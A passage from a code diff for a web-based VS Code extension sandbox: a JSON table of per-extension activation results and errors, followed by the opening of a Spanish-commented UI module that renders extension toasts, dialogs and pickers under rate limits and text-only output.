564+ "dsznajder.es7-react-js-snippets@4.4.3": {
565+ "rank": 120,
566+ "downloads": 880246,
567+ "declarative": {
568+ "snippets": 4
569+ },
570+ "workbench": [],
571+ "bytes": 233382,
572+ "state": "error",
573+ "error": "Activating extension 'dsznajder.es7-react-js-snippets' failed: Cannot load module './helpers/generateSnippets'.",
574+ "activation": "failed",
575+ "commands": 0,
576+ "contributedCommands": 1,
577+ "providers": {},
578+ "diagnostics": false
579+ },
580+ "bierner.markdown-mermaid@1.32.1": {
581+ "rank": 126,
582+ "downloads": 829508,
583+ "declarative": {},
584+ "workbench": [
585+ "notebookRenderer"
586+ ],
587+ "bytes": 35183675,
588+ "state": "installed",
589+ "activation": "no activation event fired",
590+ "commands": 0,
591+ "contributedCommands": 0,
592+ "providers": {},
593+ "diagnostics": false
594+ },
595+ "timonwong.shellcheck@0.48.0": {
596+ "rank": 134,
597+ "downloads": 738887,
598+ "declarative": {
599+ "grammars": 2,
600+ "snippets": 2,
601+ "languages": 3
602+ },
603+ "workbench": [
604+ "walkthroughs"
605+ ],
606+ "bytes": 4923464,
607+ "state": "active",
608+ "commands": 6,
609+ "contributedCommands": 4,
610+ "providers": {
611+ "codeAction": 4,
612+ "hover": 1
613+ },
614+ "later": {
615+ "linkProvider": 2
616+ },
617+ "diagnostics": false,
618+ "unsupportedCalls": [
619+ "Wz.setKeysForSync"
620+ ],
621+ "askedUser": {
622+ "toasts": 1
623+ }
624+ },
625+ "tamasfe.even-better-toml@0.21.2": {
626+ "rank": 146,
627+ "downloads": 668800,
628+ "declarative": {
629+ "grammars": 3,
630+ "languages": 1
631+ },
632+ "workbench": [],
633+ "state": "install-failed",
634+ "error": "a file over the 32 MiB limit"
635+ },
636+ "malloydata.malloy-vscode@0.3.1790984375": {
637+ "rank": 147,
638+ "downloads": 661367,
639+ "declarative": {
640+ "grammars": 3,
641+ "languages": 3
642+ },
643+ "workbench": [
644+ "viewsContainers",
645+ "views",
646+ "viewsWelcome",
647+ "walkthroughs",
648+ "notebooks",
649+ "notebookRenderer"
650+ ],
651+ "variant": "web",
652+ "bytes": 46994859,
653+ "state": "error",
654+ "error": "Activating extension 'malloydata.malloy-vscode' failed: Extensions may only call createRendererMessaging() for renderers they contribute (got malloy.notebook-renderer).",
655+ "activation": "failed",
656+ "commands": 20,
657+ "contributedCommands": 21,
658+ "providers": {
659+ "completion": 1,
660+ "hover": 1,
661+ "definition": 1,
662+ "symbols": 1,
663+ "codeAction": 1,
664+ "format": 1
665+ },
666+ "later": {
667+ "codeLensProvider": 1
668+ },
669+ "diagnostics": true,
670+ "sandboxErrors": 4,
671+ "askedUser": {
672+ "toasts": 1
673+ }
674+ },
675+ "k--kato.intellij-idea-keybindings@1.7.8": {
676+ "rank": 151,
677+ "downloads": 643999,
678+ "declarative": {},
679+ "workbench": [],
680+ "bytes": 800148,
681+ "state": "active",
682+ "commands": 2,
683+ "contributedCommands": 1,
684+ "providers": {},
685+ "diagnostics": false
686+ },
687+ "aaron-bond.better-comments@3.0.2": {
688+ "rank": 153,
689+ "downloads": 623256,
690+ "declarative": {},
691+ "workbench": [],
692+ "bytes": 124742,
693+ "state": "active",
694+ "commands": 0,
695+ "contributedCommands": 0,
696+ "providers": {},
697+ "diagnostics": false
698+ },
699+ "vscode.json-language-features@1.95.3": {
700+ "rank": 158,
701+ "downloads": 604089,
702+ "declarative": {},
703+ "workbench": [],
704+ "apiProposals": 1,
705+ "bytes": 2961570,
706+ "state": "active",
707+ "commands": 0,
708+ "contributedCommands": 2,
709+ "providers": {},
710+ "diagnostics": false
711+ },
712+ "oderwat.indent-rainbow@8.3.1": {
713+ "rank": 168,
714+ "downloads": 574007,
715+ "declarative": {},
716+ "workbench": [],
717+ "bytes": 169915,
718+ "state": "active",
719+ "commands": 0,
720+ "contributedCommands": 0,
721+ "providers": {},
722+ "diagnostics": false
723+ },
724+ "christian-kohler.path-intellisense@2.8.0": {
725+ "rank": 175,
726+ "downloads": 555708,
727+ "declarative": {},
728+ "workbench": [],
729+ "bytes": 221464,
730+ "state": "active",
731+ "commands": 0,
732+ "contributedCommands": 0,
733+ "providers": {
734+ "completion": 2
735+ },
736+ "diagnostics": false
737+ },
738+ "salesforce.salesforcedx-vscode-lwc@67.27.6": {
739+ "rank": 176,
740+ "downloads": 554775,
741+ "declarative": {
742+ "snippets": 2
743+ },
744+ "workbench": [
745+ "taskDefinitions",
746+ "views",
747+ "debuggers"
748+ ],
749+ "bytes": 13303612,
750+ "state": "error",
751+ "error": "Activating extension 'salesforce.salesforcedx-vscode-lwc' failed: An error has occurred.",
752+ "activation": "failed",
753+ "commands": 0,
754+ "contributedCommands": 11,
755+ "providers": {},
756+ "diagnostics": false
757+ },
758+ "catppuccin.catppuccin-vsc@3.19.0": {
759+ "rank": 180,
760+ "downloads": 548486,
761+ "declarative": {
762+ "themes": 4
763+ },
764+ "workbench": [],
765+ "bytes": 496573,
766+ "state": "active",
767+ "commands": 0,
768+ "contributedCommands": 0,
769+ "providers": {},
770+ "diagnostics": false
771+ },
772+ "salesforce.salesforcedx-vscode-soql@67.27.6": {
773+ "rank": 185,
774+ "downloads": 530896,
775+ "declarative": {
776+ "grammars": 1,
777+ "languages": 1
778+ },
779+ "workbench": [
780+ "customEditors",
781+ "walkthroughs"
782+ ],
783+ "bytes": 7474250,
784+ "state": "error",
785+ "error": "Activating extension 'salesforce.salesforcedx-vscode-soql' failed: An error has occurred.",
786+ "activation": "failed",
787+ "commands": 0,
788+ "contributedCommands": 8,
789+ "providers": {},
790+ "diagnostics": false
791+ },
792+ "salesforce.salesforcedx-vscode-visualforce@67.27.6": {
793+ "rank": 189,
794+ "downloads": 524040,
795+ "declarative": {
796+ "grammars": 1,
797+ "languages": 1
798+ },
799+ "workbench": [],
800+ "bytes": 9493151,
801+ "state": "error",
802+ "error": "Activating extension 'salesforce.salesforcedx-vscode-visualforce' failed: An error has occurred.",
803+ "activation": "failed",
804+ "commands": 0,
805+ "contributedCommands": 2,
806+ "providers": {},
807+ "diagnostics": false
808+ },
809+ "tldraw-org.tldraw-vscode@2.375.2": {
810+ "rank": 196,
811+ "downloads": 506612,
812+ "declarative": {},
813+ "workbench": [
814+ "customEditors"
815+ ],
816+ "bytes": 17657517,
817+ "state": "error",
818+ "error": "Activating extension 'tldraw-org.tldraw-vscode' failed: Cannot load module 'buffer'.",
819+ "activation": "failed",
820+ "commands": 0,
821+ "contributedCommands": 1,
822+ "providers": {},
823+ "diagnostics": false
824+ },
825+ "yoavbls.pretty-ts-errors@0.8.7": {
826+ "rank": 201,
827+ "downloads": 481336,
828+ "declarative": {
829+ "grammars": 1,
830+ "languages": 1
831+ },
832+ "workbench": [
833+ "viewsContainers",
834+ "views"
835+ ],
836+ "bytes": 2484009,
837+ "state": "active",
838+ "commands": 5,
839+ "contributedCommands": 4,
840+ "providers": {},
841+ "diagnostics": false,
842+ "sandboxErrors": 1
843+ },
844+ "salesforce.salesforcedx-vscode-services@67.27.6": {
845+ "rank": 204,
846+ "downloads": 476933,
847+ "declarative": {},
848+ "workbench": [],
849+ "bytes": 26976051,
850+ "state": "installed",
851+ "activation": "started, never finished",
852+ "commands": 0,
853+ "contributedCommands": 1,
854+ "providers": {},
855+ "later": {
856+ "linkProvider": 1
857+ },
858+ "diagnostics": false,
859+ "askedUser": {
860+ "toasts": 1
861+ }
862+ },
863+ "slint.slint-nightly@2026.10.1023": {
864+ "rank": 214,
865+ "downloads": 453133,
866+ "declarative": {
867+ "grammars": 3,
868+ "snippets": 1,
869+ "languages": 1
870+ },
871+ "workbench": [
872+ "walkthroughs"
873+ ],
874+ "state": "install-failed",
875+ "error": "a file over the 32 MiB limit"
876+ },
877+ "salesforce.salesforcedx-vscode-apex-testing@67.27.6": {
878+ "rank": 223,
879+ "downloads": 432718,
880+ "declarative": {},
881+ "workbench": [
882+ "viewsContainers",
883+ "views",
884+ "viewsWelcome",
885+ "walkthroughs"
886+ ],
887+ "bytes": 9688679,
888+ "state": "error",
889+ "error": "Activating extension 'salesforce.salesforcedx-vscode-apex-testing' failed: An error has occurred.",
890+ "activation": "failed",
891+ "commands": 0,
892+ "contributedCommands": 13,
893+ "providers": {},
894+ "diagnostics": false
895+ },
896+ "vscode.html-language-features@1.95.3": {
897+ "rank": 225,
898+ "downloads": 425797,
899+ "declarative": {},
900+ "workbench": [],
901+ "apiProposals": 1,
902+ "bytes": 17173226,
903+ "state": "active",
904+ "commands": 0,
905+ "contributedCommands": 0,
906+ "providers": {},
907+ "diagnostics": false
908+ },
909+ "sourcegraph.cody-ai@1.155.0": {
910+ "rank": 229,
911+ "downloads": 416621,
912+ "declarative": {},
913+ "workbench": [
914+ "viewsContainers",
915+ "views"
916+ ],
917+ "state": "install-failed",
918+ "error": "over the 64 MiB limit for one extension"
919+ },
920+ "salesforce.salesforcedx-vscode-apex-log@67.27.6": {
921+ "rank": 238,
922+ "downloads": 402678,
923+ "declarative": {
924+ "grammars": 2,
925+ "languages": 2
926+ },
927+ "workbench": [],
928+ "bytes": 1761400,
929+ "state": "error",
930+ "error": "Activating extension 'salesforce.salesforcedx-vscode-apex-log' failed: An error has occurred.",
931+ "activation": "failed",
932+ "commands": 0,
933+ "contributedCommands": 14,
934+ "providers": {},
935+ "diagnostics": false
936+ },
937+ "vscode.merge-conflict@1.95.3": {
938+ "rank": 249,
939+ "downloads": 385809,
940+ "declarative": {},
941+ "workbench": [],
942+ "bytes": 1650660,
943+ "state": "error",
944+ "error": "Activating extension 'vscode.merge-conflict' failed: Cannot read properties of undefined (reading 'length').",
945+ "activation": "failed",
946+ "commands": 0,
947+ "contributedCommands": 10,
948+ "providers": {},
949+ "diagnostics": false
950+ },
951+ "vscode.configuration-editing@1.95.3": {
952+ "rank": 250,
953+ "downloads": 385603,
954+ "declarative": {
955+ "languages": 2
956+ },
957+ "workbench": [],
958+ "apiProposals": 1,
959+ "bytes": 737200,
960+ "state": "error",
961+ "error": "Activating extension 'vscode.configuration-editing' failed: Extension 'vscode.configuration-editing' CANNOT use API proposal: profileContentHandlers.\nIts package.json#enabledApiProposals-property declares: [] but NOT profileContentHandlers.\n The missing proposal MUST be added and you must start in e",
962+ "activation": "failed",
963+ "commands": 0,
964+ "contributedCommands": 0,
965+ "providers": {},
966+ "diagnostics": false
967+ },
968+ "wakatime.vscode-wakatime@30.2.1": {
969+ "rank": 252,
970+ "downloads": 378897,
971+ "declarative": {},
972+ "workbench": [],
973+ "bytes": 979578,
974+ "state": "active",
975+ "commands": 7,
976+ "contributedCommands": 10,
977+ "providers": {},
978+ "diagnostics": false,
979+ "unsupportedCalls": [
980+ "Wz.setKeysForSync"
981+ ],
982+ "askedUser": {
983+ "picks": 1
984+ }
985+ },
986+ "vscode.typescript-language-features@1.95.3": {
987+ "rank": 253,
988+ "downloads": 378463,
989+ "declarative": {},
990+ "workbench": [
991+ "breakpoints",
992+ "taskDefinitions",
993+ "problemMatchers"
994+ ],
995+ "apiProposals": 7,
996+ "bytes": 40083487,
997+ "state": "active",
998+ "commands": 24,
999+ "contributedCommands": 13,
1000+ "providers": {
1001+ "completion": 6,
1002+ "definition": 2,
1003+ "highlights": 2,
1004+ "symbols": 2,
1005+ "formatOnType": 2,
1006+ "formatRange": 2,
1007+ "hover": 2,
1008+ "references": 2,
1009+ "signature": 2,
1010+ "typeDefinition": 2
1011+ },
1012+ "later": {
1013+ "linkProvider": 2,
1014+ "multiDocumentHighlightProvider": 2,
1015+ "foldingRangeProvider": 2,
1016+ "linkedEditingRangeProvider": 2,
1017+ "selectionRangeProvider": 2
1018+ },
1019+ "diagnostics": false
1020+ },
1021+ "salesforce.salesforcedx-vscode-org-browser@67.27.6": {
1022+ "rank": 254,
1023+ "downloads": 370117,
1024+ "declarative": {},
1025+ "workbench": [
1026+ "walkthroughs",
1027+ "viewsWelcome",
1028+ "viewsContainers",
1029+ "views"
1030+ ],
1031+ "bytes": 1707186,
1032+ "state": "error",
1033+ "error": "Activating extension 'salesforce.salesforcedx-vscode-org-browser' failed: An error has occurred.",
1034+ "activation": "failed",
1035+ "commands": 0,
1036+ "contributedCommands": 10,
1037+ "providers": {},
1038+ "diagnostics": false
1039+ },
1040+ "salesforce.salesforcedx-vscode-metadata@67.27.6": {
1041+ "rank": 257,
1042+ "downloads": 369035,
1043+ "declarative": {
1044+ "languages": 1
1045+ },
1046+ "workbench": [
1047+ "viewsContainers",
1048+ "views",
1049+ "viewsWelcome"
1050+ ],
1051+ "bytes": 3617759,
1052+ "state": "error",
1053+ "error": "Activating extension 'salesforce.salesforcedx-vscode-metadata' failed: An error has occurred.",
1054+ "activation": "failed",
1055+ "commands": 0,
1056+ "contributedCommands": 29,
1057+ "providers": {},
1058+ "diagnostics": false
1059+ },
1060+ "vscode.markdown-language-features@1.95.3": {
1061+ "rank": 261,
1062+ "downloads": 366470,
1063+ "declarative": {},
1064+ "workbench": [
1065+ "notebookRenderer",
1066+ "customEditors"
1067+ ],
1068+ "apiProposals": 1,
1069+ "bytes": 7358391,
1070+ "state": "active",
1071+ "commands": 16,
1072+ "contributedCommands": 11,
1073+ "providers": {
1074+ "hover": 1,
1075+ "definition": 1,
1076+ "references": 1,
1077+ "symbols": 1,
1078+ "codeAction": 2,
1079+ "rename": 1,
1080+ "completion": 1
1081+ },
1082+ "later": {
1083+ "linkProvider": 1,
1084+ "foldingRangeProvider": 1,
1085+ "selectionRangeProvider": 1,
1086+ "documentPasteEditProvider": 3,
1087+ "documentDropEditProvider": 1
1088+ },
1089+ "diagnostics": false,
1090+ "sandboxErrors": 2
1091+ },
1092+ "foam.foam-vscode@0.46.0": {
1093+ "rank": 266,
1094+ "downloads": 354816,
1095+ "declarative": {
1096+ "grammars": 1
1097+ },
1098+ "workbench": [
1099+ "views",
1100+ "viewsWelcome"
1101+ ],
1102+ "bytes": 3974861,
1103+ "state": "active",
1104+ "commands": 1,
1105+ "contributedCommands": 55,
1106+ "providers": {},
1107+ "diagnostics": false
1108+ },
1109+ "vscode.css-language-features@1.95.3": {
1110+ "rank": 269,
1111+ "downloads": 352696,
1112+ "declarative": {},
1113+ "workbench": [],
1114+ "apiProposals": 1,
1115+ "bytes": 4713199,
1116+ "state": "active",
1117+ "commands": 1,
1118+ "contributedCommands": 0,
1119+ "providers": {
1120+ "completion": 2,
1121+ "hover": 1,
1122+ "definition": 1,
1123+ "references": 1,
1124+ "highlights": 1,
1125+ "symbols": 1,
1126+ "codeAction": 1,
1127+ "rename": 1,
1128+ "formatRange": 3
1129+ },
1130+ "later": {
1131+ "linkProvider": 1,
1132+ "colorProvider": 1,
1133+ "foldingRangeProvider": 1,
1134+ "selectionRangeProvider": 1,
1135+ "documentDropEditProvider": 1,
1136+ "documentPasteEditProvider": 1
1137+ },
1138+ "diagnostics": false
1139+ },
1140+ "vscode.emmet@1.95.3": {
1141+ "rank": 273,
1142+ "downloads": 344737,
1143+ "declarative": {},
1144+ "workbench": [],
1145+ "bytes": 1043795,
1146+ "state": "active",
1147+ "commands": 23,
1148+ "contributedCommands": 23,
1149+ "providers": {
1150+ "completion": 15
1151+ },
1152+ "diagnostics": false
1153+ },
1154+ "monokai.theme-monokai-pro-vscode@2.0.16": {
1155+ "rank": 293,
1156+ "downloads": 327268,
1157+ "declarative": {
1158+ "themes": 8
1159+ },
1160+ "workbench": [],
1161+ "bytes": 806020,
1162+ "state": "active",
1163+ "commands": 3,
1164+ "contributedCommands": 3,
1165+ "providers": {},
1166+ "diagnostics": false
1167+ },
1168+ "solomonkinard.git-blame@0.2.127": {
1169+ "rank": 340,
1170+ "downloads": 283981,
1171+ "declarative": {},
1172+ "workbench": [
1173+ "customEditors",
1174+ "viewsContainers",
1175+ "views"
1176+ ],
1177+ "bytes": 203336,
1178+ "state": "active",
1179+ "commands": 0,
1180+ "contributedCommands": 75,
1181+ "providers": {},
1182+ "diagnostics": false
1183+ },
1184+ "hediet.vscode-drawio@1.6.6": {
1185+ "rank": 341,
1186+ "downloads": 283855,
1187+ "declarative": {
1188+ "languages": 1
1189+ },
1190+ "workbench": [
1191+ "customEditors"
1192+ ],
1193+ "state": "install-failed",
1194+ "error": "over the 64 MiB limit for one extension"
1195+ },
1196+ "myriad-dreamin.tinymist@0.15.8": {
1197+ "rank": 350,
1198+ "downloads": 268469,
1199+ "declarative": {
1200+ "grammars": 3,
1201+ "languages": 4
1202+ },
1203+ "workbench": [
1204+ "viewsContainers",
1205+ "views",
1206+ "taskDefinitions",
1207+ "breakpoints",
1208+ "debuggers"
1209+ ],
1210+ "bytes": 6849098,
1211+ "state": "active",
1212+ "commands": 0,
1213+ "contributedCommands": 34,
1214+ "providers": {},
1215+ "diagnostics": false
1216+ },
1217+ "vscode.search-result@1.95.3": {
1218+ "rank": 356,
1219+ "downloads": 263418,
1220+ "declarative": {
1221+ "grammars": 1,
1222+ "languages": 1
1223+ },
1224+ "workbench": [],
1225+ "apiProposals": 1,
1226+ "bytes": 91548,
1227+ "state": "error",
1228+ "error": "Activating extension 'vscode.search-result' failed: Cannot load module 'path'.",
1229+ "activation": "failed",
1230+ "commands": 0,
1231+ "contributedCommands": 0,
1232+ "providers": {},
1233+ "diagnostics": false
1234+ },
1235+ "opentofu.vscode-opentofu@0.6.3": {
1236+ "rank": 367,
1237+ "downloads": 240133,
1238+ "declarative": {
1239+ "grammars": 4,
1240+ "snippets": 1,
1241+ "languages": 5
1242+ },
1243+ "workbench": [
1244+ "views",
1245+ "viewsContainers",
1246+ "viewsWelcome"
1247+ ],
1248+ "variant": "web",
1249+ "bytes": 902570,
1250+ "state": "active",
1251+ "commands": 0,
1252+ "contributedCommands": 11,
1253+ "providers": {},
1254+ "diagnostics": false
1255+ },
1256+ "grapecity.gc-excelviewer@4.2.58": {
1257+ "rank": 370,
1258+ "downloads": 238574,
1259+ "declarative": {
1260+ "languages": 3
1261+ },
1262+ "workbench": [
1263+ "customEditors"
1264+ ],
1265+ "bytes": 7309453,
1266+ "state": "active",
1267+ "commands": 4,
1268+ "contributedCommands": 4,
1269+ "providers": {},
1270+ "diagnostics": false,
1271+ "sandboxErrors": 6
1272+ },
1273+ "batisteo.vscode-django@1.8.0": {
1274+ "rank": 372,
1275+ "downloads": 237865,
1276+ "declarative": {
1277+ "grammars": 2,
1278+ "snippets": 4,
1279+ "languages": 2
1280+ },
1281+ "workbench": [],
1282+ "bytes": 440914,
1283+ "state": "error",
1284+ "error": "Activating extension 'batisteo.vscode-django' failed: Failed to fetch.",
1285+ "activation": "failed",
1286+ "commands": 0,
1287+ "contributedCommands": 1,
1288+ "providers": {},
1289+ "diagnostics": false
1290+ },
1291+ "marp-team.marp-vscode@3.6.1": {
1292+ "rank": 378,
1293+ "downloads": 233369,
1294+ "declarative": {},
1295+ "workbench": [
1296+ "languageModelTools"
1297+ ],
1298+ "bytes": 10622771,
1299+ "state": "active",
1300+ "commands": 5,
1301+ "contributedCommands": 4,
1302+ "providers": {
1303+ "codeAction": 3,
1304+ "hover": 1,
1305+ "completion": 1
1306+ },
1307+ "diagnostics": false,
1308+ "sandboxErrors": 1
1309+ },
1310+ "johnpapa.vscode-peacock@4.5.1": {
1311+ "rank": 383,
1312+ "downloads": 229787,
1313+ "declarative": {},
1314+ "workbench": [],
1315+ "bytes": 221574,
1316+ "state": "active",
1317+ "commands": 13,
1318+ "contributedCommands": 15,
1319+ "providers": {},
1320+ "diagnostics": false
1321+ },
1322+ "adamraichu.pdf-viewer@1.1.2": {
1323+ "rank": 386,
1324+ "downloads": 227875,
1325+ "declarative": {},
1326+ "workbench": [
1327+ "customEditors"
1328+ ],
1329+ "bytes": 1708515,
1330+ "state": "installed",
1331+ "activation": "no activation event fired",
1332+ "commands": 0,
1333+ "contributedCommands": 0,
1334+ "providers": {},
1335+ "diagnostics": false
1336+ },
1337+ "vscode.git-base@1.95.3": {
1338+ "rank": 390,
1339+ "downloads": 222670,
1340+ "declarative": {
1341+ "grammars": 3,
1342+ "languages": 3
1343+ },
1344+ "workbench": [],
1345+ "bytes": 40827,
1346+ "state": "active",
1347+ "commands": 1,
1348+ "contributedCommands": 1,
1349+ "providers": {},
1350+ "diagnostics": false
1351+ },
1352+ "naumovs.color-highlight@2.8.0": {
1353+ "rank": 392,
1354+ "downloads": 221420,
1355+ "declarative": {},
1356+ "workbench": [],
1357+ "bytes": 232738,
1358+ "state": "active",
1359+ "commands": 1,
1360+ "contributedCommands": 1,
1361+ "providers": {},
1362+ "diagnostics": false
1363+ },
1364+ "catppuccin.catppuccin-vsc-icons@1.26.0": {
1365+ "rank": 394,
1366+ "downloads": 219066,
1367+ "declarative": {},
1368+ "workbench": [],
1369+ "bytes": 2948458,
1370+ "state": "active",
1371+ "commands": 0,
1372+ "contributedCommands": 1,
1373+ "providers": {},
1374+ "diagnostics": false
1375+ },
1376+ "zowe.vscode-extension-for-zowe@3.6.0": {
1377+ "rank": 401,
1378+ "downloads": 214019,
1379+ "declarative": {
1380+ "languages": 1
1381+ },
1382+ "workbench": [
1383+ "viewsContainers",
1384+ "views"
1385+ ],
1386+ "bytes": 16965493,
1387+ "state": "active",
1388+ "commands": 0,
1389+ "contributedCommands": 113,
1390+ "providers": {},
1391+ "diagnostics": false
1392+ },
1393+ "dendron.nightly@0.124.77": {
1394+ "rank": 402,
1395+ "downloads": 213247,
1396+ "declarative": {
1397+ "languages": 1
1398+ },
1399+ "workbench": [
1400+ "viewsWelcome",
1401+ "viewsContainers",
1402+ "views"
1403+ ],
1404+ "bytes": 28270138,
1405+ "state": "active",
1406+ "commands": 0,
1407+ "contributedCommands": 123,
1408+ "providers": {},
1409+ "diagnostics": false,
1410+ "askedUser": {
1411+ "toasts": 2
1412+ }
1413+ },
1414+ "pomdtr.excalidraw-editor@3.9.0": {
1415+ "rank": 416,
1416+ "downloads": 195931,
1417+ "declarative": {
1418+ "languages": 1
1419+ },
1420+ "workbench": [
1421+ "customEditors"
1422+ ],
1423+ "bytes": 21099666,
1424+ "state": "active",
1425+ "commands": 10,
1426+ "contributedCommands": 10,
1427+ "providers": {},
1428+ "diagnostics": false,
1429+ "sandboxErrors": 1
1430+ },
1431+ "tonybaloney.vscode-pets@1.36.0": {
1432+ "rank": 423,
1433+ "downloads": 190440,
1434+ "declarative": {},
1435+ "workbench": [
1436+ "views"
1437+ ],
1438+ "bytes": 15038374,
1439+ "state": "active",
1440+ "commands": 9,
1441+ "contributedCommands": 10,
1442+ "providers": {},
1443+ "diagnostics": false,
1444+ "sandboxErrors": 2
1445+ },
1446+ "rjmacarthy.twinny@4.3.6": {
1447+ "rank": 429,
1448+ "downloads": 177962,
1449+ "declarative": {},
1450+ "workbench": [
1451+ "viewsContainers",
1452+ "views"
1453+ ],
1454+ "variant": "platform",
1455+ "state": "install-failed",
1456+ "error": "a file over the 32 MiB limit"
1457+ },
1458+ "vscode.markdown-math@1.95.3": {
1459+ "rank": 443,
1460+ "downloads": 167556,
1461+ "declarative": {
1462+ "grammars": 4,
1463+ "languages": 1
1464+ },
1465+ "workbench": [
1466+ "notebookRenderer"
1467+ ],
1468+ "bytes": 1489091,
1469+ "state": "installed",
1470+ "activation": "no activation event fired",
1471+ "commands": 0,
1472+ "contributedCommands": 0,
1473+ "providers": {},
1474+ "diagnostics": false
1475+ },
1476+ "ms-vscode.references-view@0.0.89": {
1477+ "rank": 446,
1478+ "downloads": 166231,
1479+ "declarative": {},
1480+ "workbench": [
1481+ "viewsContainers",
1482+ "views"
1483+ ],
1484+ "bytes": 51399,
1485+ "state": "active",
1486+ "commands": 23,
1487+ "contributedCommands": 21,
1488+ "providers": {},
1489+ "diagnostics": false,
1490+ "askedUser": {
1491+ "toasts": 1
1492+ }
1493+ },
1494+ "tuttieee.emacs-mcx@0.111.5": {
1495+ "rank": 451,
1496+ "downloads": 164226,
1497+ "declarative": {},
1498+ "workbench": [],
1499+ "bytes": 912962,
1500+ "state": "active",
1501+ "commands": 95,
1502+ "contributedCommands": 63,
1503+ "providers": {},
1504+ "diagnostics": false
1505+ },
1506+ "vscode.simple-browser@1.95.3": {
1507+ "rank": 462,
1508+ "downloads": 154218,
1509+ "declarative": {},
1510+ "workbench": [],
1511+ "apiProposals": 1,
1512+ "bytes": 138883,
1513+ "state": "error",
1514+ "error": "Activating extension 'vscode.simple-browser' failed: Extension 'vscode.simple-browser' CANNOT use API proposal: externalUriOpener.\nIts package.json#enabledApiProposals-property declares: [] but NOT externalUriOpener.\n The missing proposal MUST be added and you must start in extension development mod",
1515+ "activation": "failed",
1516+ "commands": 2,
1517+ "contributedCommands": 1,
1518+ "providers": {},
1519+ "diagnostics": false,
1520+ "sandboxErrors": 1
1521+ },
1522+ "alygin.vscode-tlaplus-nightly@2024.8.1506": {
1523+ "rank": 469,
1524+ "downloads": 151931,
1525+ "declarative": {
1526+ "grammars": 4,
1527+ "snippets": 2,
1528+ "languages": 4
1529+ },
1530+ "workbench": [
1531+ "terminal",
1532+ "debuggers",
1533+ "breakpoints",
1534+ "viewsContainers",
1535+ "views"
1536+ ],
1537+ "bytes": 10397458,
1538+ "state": "active",
1539+ "commands": 0,
1540+ "contributedCommands": 16,
1541+ "providers": {
1542+ "formatOnType": 2,
1543+ "symbols": 1,
1544+ "completion": 2,
1545+ "declaration": 1,
1546+ "definition": 1
1547+ },
1548+ "diagnostics": false
1549+ },
1550+ "pranaygp.vscode-css-peek@4.4.3": {
1551+ "rank": 472,
1552+ "downloads": 146563,
1553+ "declarative": {},
1554+ "workbench": [],
1555+ "bytes": 181266,
1556+ "state": "installed",
1557+ "activation": "no activation event fired",
1558+ "commands": 0,
1559+ "contributedCommands": 0,
1560+ "providers": {},
1561+ "diagnostics": false
1562+ },
1563+ "wayou.vscode-todo-highlight@1.0.5": {
1564+ "rank": 474,
1565+ "downloads": 145844,
1566+ "declarative": {},
1567+ "workbench": [],
1568+ "bytes": 1692143,
1569+ "state": "active",
1570+ "commands": 3,
1571+ "contributedCommands": 2,
1572+ "providers": {},
1573+ "diagnostics": false
1574+ },
1575+ "vscode.image-preview@1.70.2": {
1576+ "rank": 486,
1577+ "downloads": 138513,
1578+ "declarative": {},
1579+ "workbench": [
1580+ "customEditors"
1581+ ],
1582+ "bytes": 37506,
1583+ "state": "error",
1584+ "error": "Activating extension 'vscode.image-preview' failed: Failed to fetch.",
1585+ "activation": "failed",
1586+ "commands": 0,
1587+ "contributedCommands": 2,
1588+ "providers": {},
1589+ "diagnostics": false
1590+ },
1591+ "vscode.github-authentication@1.95.3": {
1592+ "rank": 487,
1593+ "downloads": 138411,
1594+ "declarative": {},
1595+ "workbench": [
1596+ "authentication"
1597+ ],
1598+ "bytes": 2107901,
1599+ "state": "installed",
1600+ "activation": "no activation event fired",
1601+ "commands": 0,
1602+ "contributedCommands": 0,
1603+ "providers": {},
1604+ "diagnostics": false
1605+ },
1606+ "salesforce.apex-language-server-extension@0.10.0": {
1607+ "rank": 490,
1608+ "downloads": 136594,
1609+ "declarative": {
1610+ "grammars": 3,
1611+ "snippets": 5,
1612+ "languages": 3
1613+ },
1614+ "workbench": [
1615+ "viewsContainers"
1616+ ],
1617+ "state": "install-failed",
1618+ "error": "over the 64 MiB limit for one extension"
1619+ }
1620+ }
1621+}
added web/js/ext2/ui.js +527 −0
@@ -0,0 +1,527 @@
1+// Lo que una extensión con código le pide al usuario, pintado por Code.
2+//
3+// Avisos (toasts), diálogo modal, selector rápido, cuadro de texto, progreso
4+// y escribir en el portapapeles. Todo texto que viene del recinto entra con
5+// textContent: un enlace se queda en texto y un botón solo devuelve cuál se
6+// pulsó. Hay topes: 3 avisos a la vez y 20 por minuto, un diálogo y un
7+// selector (o cuadro) a la vez; lo que se pasa se contesta «nada» al momento
8+// y se cuenta. Escribir en el portapapeles solo con un gesto reciente del
9+// usuario (navigator.userActivation).
10+//
11+// Todo cuelga de #x2-* / .x2-* (web/css/ext2.css): nada del CSS de VS Code
12+// entra en la página.
13+import { tx } from '../ext/i18n.js';
14+import './strings.js';
15+
16+const MAX_TOASTS = 3;
17+const TOASTS_PER_MINUTE = 20;
18+const TOAST_AUTOCLOSE = 9000;
19+
20+const el = (tag, cls, txt) => { const e = document.createElement(tag); if (cls) e.className = cls; if (txt != null) e.textContent = txt; return e; };
21+const button = (txt, cls = 'x2-btn') => { const b = el('button', cls, txt); b.type = 'button'; return b; };
22+let nId = 0;
23+const uid = p => `${p}-${++nId}`;
24+
25+export const userActive = () => {
26+ try { return !!globalThis.navigator?.userActivation?.isActive; } catch { return false; }
27+};
28+
29+// Code cierra el panel de ajustes/extensiones con cualquier clic fuera de él
30+// (main.js, en captura sobre document). Un clic DENTRO de estos diálogos y
31+// avisos no es «fuera»: se para aquí, en captura sobre window, que va antes.
32+let guarda = false;
33+function guardaPanel() {
34+ if (guarda) return;
35+ guarda = true;
36+ window.addEventListener('pointerdown', e => {
37+ if (e.target instanceof Element && e.target.closest('.x2-backdrop, .x2-pick, #x2-toasts')) e.stopPropagation();
38+ }, true);
39+}
40+
41+export function loadCss() {
42+ guardaPanel();
43+ if (document.getElementById('x2-css')) return;
44+ const l = document.createElement('link');
45+ l.id = 'x2-css';
46+ l.rel = 'stylesheet';
47+ l.href = new URL('../../css/ext2.css', import.meta.url).href;
48+ document.head.appendChild(l);
49+}
50+
51+// Modal genérico: título, cuerpo, una caja opcional en monoespaciado (una
52+// dirección, una orden; con su propio scroll si es larga), lo que vaya tras
53+// ella (`after`) y botones. Escape y fuera = el botón por defecto (el de
54+// cancelar). Abre por arriba: el foco no lo desplaza. Devuelve el `value` del
55+// botón pulsado.
56+const abiertos = new Set(); // cierres de los modales abiertos
57+export function closeModals() { for (const c of [...abiertos]) c(); }
58+export function modal({ id = 'x2-dialog', title, body = [], code = null, after = [], buttons, cancelValue = null, focus = 0, labelledBy = null }) {
